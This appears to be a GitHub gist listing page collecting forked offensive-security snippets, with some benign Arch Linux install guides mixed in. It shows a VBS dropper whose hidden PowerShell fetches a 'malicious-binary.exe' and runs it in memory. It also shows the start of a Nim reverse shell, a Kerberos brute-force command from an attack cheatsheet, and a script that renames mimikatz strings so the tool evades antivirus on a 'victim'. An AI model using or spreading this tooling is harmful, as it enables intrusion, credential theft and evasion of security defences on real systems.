https://www.youtube.com/playlist?list=PLKK11Ligqitg9MOX3-0tFT1Rmh3uJp7kA
AssassinUKG
/ mw32getpeb.c
Last active
January 31, 2024 09:57
— forked from okumura/mw32getpeb.c
Get PEB for Windows.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| LPVOID mw32GetPeb() { | |
| #if defined(_WIN64) | |
| UINT64 uiPeb = __readgsqword(0x60); | |
| return (LPVOID) (UINT_PTR) uiPeb; | |
| #else | |
| UINT32 uiPeb = __readfsdword(0x30); | |
| return (LPVOID) (UINT_PTR) uiPeb; | |
| #endif | |
| } |
AssassinUKG
/ dropper.vbs
Created
January 15, 2024 22:18
— forked from gothburz/dropper.vbs
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ' This is for demo puroposes | |
| CreateObject("WScript.Shell").Run("powershell -NoProfile -WindowStyle Hidden $assembly = [System.Reflection.Assembly]::Load((Invoke-WebRequest 'http://127.0.0.1/malicious-binary.exe' -UseBasicParsing).Content); $null = $assembly.GetTypes(); $method = $assembly.GetType('MaliciousProgram').GetMethod('Main', [System.Reflection.BindingFlags]'Static, Public, NonPublic'); $null = $method.Invoke($null, @())") |
AssassinUKG
/ resources.md
Created
October 26, 2023 13:35
— forked from kimusan/resources.md
A curated list of Assembly Language / Reversing / Malware Analysis -resources
AssassinUKG
/ install-arch-in-virtual-machine.md
Created
October 5, 2023 23:33
— forked from miliarch/install-arch-in-virtual-machine.md
Install Arch Linux in a Virtual Machine
A video is available that introduces Arch Linux and covers OS configuration steps if you would prefer that format:
Arch Linux: Base Install in Virtual Machine
I used the following references to learn how to install Arch Linux in a virtual machine:
AssassinUKG
/ nimrs.nim
Created
July 6, 2023 00:30
— forked from mttaggart/nimrs.nim
A simple reverse shell written in Nim
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import net | |
| import osproc | |
| import strformat | |
| # Create Socket | |
| let port = 9999 | |
| let address = "127.0.0.1" | |
| let sock = newSocket() | |
| # Connect to listener |
AssassinUKG
/ windows_and_office_kms_setup.adoc
Created
May 19, 2023 23:33
— forked from jerodg/windows_and_office_kms_setup.adoc
Activate Windows and Office Using KMS Server
AssassinUKG
/ kerberos_attacks_cheatsheet.md
Created
March 31, 2023 09:49
— forked from TarlogicSecurity/kerberos_attacks_cheatsheet.md
A cheatsheet with commands that can be used to perform kerberos attacks
With kerbrute.py:
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -outputfile <output_file>With Rubeus version with brute module:
AssassinUKG
/ INSTALL.md
Created
February 7, 2023 13:29
— forked from thomasheller/INSTALL.md
Install Arch Linux in VirtualBox VM
Quick install guide for Arch -- if you're looking for an automated installer, consider Arch Anywhere.
Download the latest version from: https://www.archlinux.org/download/
AssassinUKG
/ google-dorks
Created
January 30, 2023 11:18
— forked from clarketm/google-dorks
Listing of a number of useful Google dorks.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| " _ _ " | |
| " _ /|| . . ||\ _ " | |
| " ( } \||D ' ' ' C||/ { % " | |
| " | /\__,=_[_] ' . . ' [_]_=,__/\ |" | |
| " |_\_ |----| |----| _/_|" | |
| " | |/ | | | | \| |" | |
| " | /_ | | | | _\ |" | |
| It is all fun and games until someone gets hacked! |
AssassinUKG
/ mimikatz_obfuscator.sh
Created
January 6, 2023 09:54
— forked from imaibou/mimikatz_obfuscator.sh
Mimikatz Obfuscator
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # This script downloads and slightly "obfuscates" the mimikatz project. | |
| # Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ..., | |
| # so removing them from the project before compiling gets us past most of the AV solutions. | |
| # We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ...., | |
| # but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program. | |
| git clone https://github.com/gentilkiwi/mimikatz.git windows | |
| mv windows/mimikatz windows/windows | |
| find windows/ -type f -print0 | xargs -0 sed -i 's/mimikatz/windows/g' | |
| find windows/ -type f -print0 | xargs -0 sed -i 's/MIMIKATZ/WINDOWS/g' |